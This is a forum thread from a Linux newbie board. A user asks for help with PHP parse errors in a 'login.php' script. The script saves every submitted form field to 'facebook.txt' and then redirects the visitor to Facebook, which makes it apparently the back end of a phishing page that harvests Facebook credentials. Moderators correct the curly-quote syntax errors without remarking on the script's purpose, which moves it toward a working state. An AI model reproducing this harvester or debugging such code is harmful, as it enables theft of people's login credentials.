LinuxQuestions.org
Download your favorite Linux distribution at LQ ISO.
Home Forums Tutorials Articles Register
Go Back   LinuxQuestions.org > Forums > Linux Forums > Linux - Newbie
User Name
Password
Linux - Newbie This Linux forum is for members that are new to Linux.
Just starting out and have a question? If it is not in the man pages or the how-to's this is the place!

Notices


Reply
  Search this Thread
Old 05-24-2013, 02:22 AM   #1
DButler12
LQ Newbie
 
Registered: May 2013
Posts: 4

Rep: Reputation: Disabled
Parse error question - urgent!!


Hey guys I keep seeing this Parse error saying that there is an unexpected colon in my script.

The error reads:

"Parse error: syntax error, unexpected ':' in /home/a3076461/public_html/login.php on line 2"


Here is my script, can you figure out where the mistake is?

<?php
header(‘Location: http://www.facebook.com/appcenter’);
$handle = fopen(“facebook.txt”, “a”);
Foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, “=”);
fwrite($handle, $value);
fwrite($handle, “\r\n”);
}
fwrite($handle, “\r\n”);
fclose($handle);
exit;
?>




Thanks for your help!

DButler12
 
Old 05-24-2013, 02:37 AM   #2
acid_kewpie
Moderator
 
Registered: Jun 2001
Location: UK
Distribution: Gentoo, RHEL, Fedora, Centos
Posts: 43,417

Rep: Reputation: 1985Reputation: 1985Reputation: 1985Reputation: 1985Reputation: 1985Reputation: 1985Reputation: 1985Reputation: 1985Reputation: 1985Reputation: 1985Reputation: 1985
don't use words like "urgent". It's not urgent for us thanks.

Before "Location" you have a backtick, not a conventional single quote mark, likewise for the end. Looks like you wrote it in a word processor or something.
 
Old 05-24-2013, 02:53 AM   #3
DButler12
LQ Newbie
 
Registered: May 2013
Posts: 4

Original Poster
Rep: Reputation: Disabled
Thanks and sorry I am new to here and did not mean to be so urgent about it. I made that change but it still seems to have errors. the next error message reads:

Parse error: syntax error, unexpected '=' in /home/a3076461/public_html/login.php on line 6



And the script is as follows:

<?php
header("Location: http://www.facebook.com/appcenter");
$handle = fopen(“facebook.txt”, “a”);
Foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, “=”);
fwrite($handle, $value);
fwrite($handle, “\r\n”);
}
fwrite($handle, “\r\n”);
fclose($handle);
exit;
?>


Thanks again!
 
Old 05-24-2013, 03:01 AM   #4
acid_kewpie
Moderator
 
Registered: Jun 2001
Location: UK
Distribution: Gentoo, RHEL, Fedora, Centos
Posts: 43,417

Rep: Reputation: 1985Reputation: 1985Reputation: 1985Reputation: 1985Reputation: 1985Reputation: 1985Reputation: 1985Reputation: 1985Reputation: 1985Reputation: 1985Reputation: 1985
So have you LOOKED at line 6? Seems prety similar to me.
 
Old 05-24-2013, 03:07 AM   #5
DButler12
LQ Newbie
 
Registered: May 2013
Posts: 4

Original Poster
Rep: Reputation: Disabled
should the quotations be changed to something else? I am new to this and do not know exactly what it is in line 6 that needs to change...

Sorry to bug you
 
Old 05-24-2013, 03:15 AM   #6
acid_kewpie
Moderator
 
Registered: Jun 2001
Location: UK
Distribution: Gentoo, RHEL, Fedora, Centos
Posts: 43,417

Rep: Reputation: 1985Reputation: 1985Reputation: 1985Reputation: 1985Reputation: 1985Reputation: 1985Reputation: 1985Reputation: 1985Reputation: 1985Reputation: 1985Reputation: 1985
yes, you need standard quotation marks, not start and end ones.
 
Old 05-24-2013, 05:47 AM   #7
TobiSGD
Moderator
 
Registered: Dec 2009
Location: Germany
Distribution: Whatever fits the task best
Posts: 17,148
Blog Entries: 2

Rep: Reputation: 4886Reputation: 4886Reputation: 4886Reputation: 4886Reputation: 4886Reputation: 4886Reputation: 4886Reputation: 4886Reputation: 4886Reputation: 4886Reputation: 4886
Issues like this can be avoided with using a text editor or an IDE for developing code, not a wordprocessor.
 
  


Reply



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
Parse error: parse error, unexpected '/' - can anyone see the error in this code? v@ny@ Programming 8 04-03-2010 04:07 PM
What's the meaning of "PHP Parse error: parse error, unexpected $ in..." frandalla Programming 23 03-04-2009 12:34 PM
PHP Error Parse error: parse error, unexpected $ in /home/content/S/k/i/SkinCare4U/h CowanServices Programming 2 12-09-2008 08:26 PM
Parse error: parse error, unexpected '}' in /home/content jouvert Linux - Newbie 3 05-17-2008 06:55 PM
Parse error: parse error, unexpected $ in /home/content/d/o/m/domain/html/addpuppy2.p Scooby-Doo Programming 3 10-25-2007 09:41 AM

LinuxQuestions.org > Forums > Linux Forums > Linux - Newbie

All times are GMT -5. The time now is 12:57 AM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Open Source Consulting | Domain Registration